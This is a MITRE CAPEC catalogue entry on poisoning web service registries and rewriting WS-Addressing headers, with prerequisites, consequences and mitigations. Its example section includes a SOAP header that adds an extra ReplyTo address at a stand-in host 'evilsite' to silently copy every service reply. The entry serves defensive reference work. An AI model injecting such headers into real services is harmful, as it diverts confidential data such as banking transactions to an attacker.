Home > CAPEC List > CAPEC-51: Poison Web Service Registry (Version 3.0)  

CAPEC-51: Poison Web Service Registry

Attack Pattern ID: 51
Abstraction: Detailed
Status: Draft
Presentation Filter:
+ Description
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata (to effect a denial of service), and delete information about service provider interfaces. WS-Addressing is used to virtualize services, provide return addresses and other routing information, however, unless the WS-Addressing headers are protected they are vulnerable to rewriting. The attacker that can rewrite WS-addressing information gains the ability to route service requesters to any service providers, and the ability to route service provider response to any service. Content in a registry is deployed by the service provider. The registry in an SOA or Web Services system can be accessed by the service requester via UDDI or other protocol. The basic flow for the attacker consists of either altering the data at rest in the registry or uploading malicious content by spoofing a service provider. The service requester is then redirected to send its requests and/or responses to services the attacker controls.
+ Likelihood Of Attack

High

+ Typical Severity

Very High

+ Relationships

The table(s) below shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore.

+ Relevant to the view "Mechanisms of Attack" (CAPEC-1000)
NatureTypeIDName
ChildOfStandard Attack PatternStandard Attack Pattern - A standard level attack pattern in CAPEC is focused on a specific methodology or technique used in an attack. It is often seen as a singular piece of a fully executed attack. A standard attack pattern is meant to provide sufficient details to understand the specific technique and how it attempts to accomplish a desired goal. A standard level attack pattern is a specific type of a more abstract meta level attack pattern.203Manipulate Registry Information
+ Prerequisites
The attacker must be able to write to resources or redirect access to the service registry.
+ Skills Required
[Level: Low]
To identify and execute against an over-privileged system interface
+ Resources Required
Capability to directly or indirectly modify registry resources
+ Consequences

The table below specifies different individual consequences associated with the attack pattern. The Scope identifies the security property that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in their attack. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a pattern will be used to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Execute Unauthorized Commands
Confidentiality
Read Data
Integrity
Modify Data
+ Mitigations
Design: Enforce principle of least privilege
Design: Harden registry server and file access permissions
Implementation: Implement communications to and from the registry using secure protocols
+ Example Instances

WS-Addressing provides location and metadata about the service endpoints. An extremely hard to detect attack is an attacker who updates the WS-Addressing header, leaves the standard service request and service provider addressing and header information intact, but adds an additional WS-Addressing Replyto header. In this case the attacker is able to send a copy (like a cc in mail) of every result the service provider generates. So every query to the bank account service, would generate a reply message of the transaction status to both the authorized service requester and an attacker service. This would be extremely hard to detect at runtime.

<S:Header>
<wsa:MessageID>
http://example.com/Message
</wsa:MessageID> <wsa:ReplyTo>
<wsa:Address>http://valid.example/validClient</wsa:Address>
</wsa:ReplyTo> <wsa:ReplyTo>
<wsa:Address>http://evilsite/evilClient</wsa:Address>
</wsa:ReplyTo> <wsa:FaultTo>
<wsa:Address>http://validfaults.example/ErrorHandler</wsa:Address>
</wsa:FaultTo>
</S:Header>

In this example "evilsite" is an additional reply to address with full access to all the messages that the authorized (validClient) has access to. Since this is registered with ReplyTo header it will not generate a Soap fault.

+ Content History
Submissions
Submission DateSubmitterOrganization
2014-06-23CAPEC Content TeamThe MITRE Corporation

More information is available — Please select a different filter.
Page Last Updated or Reviewed: July 31, 2018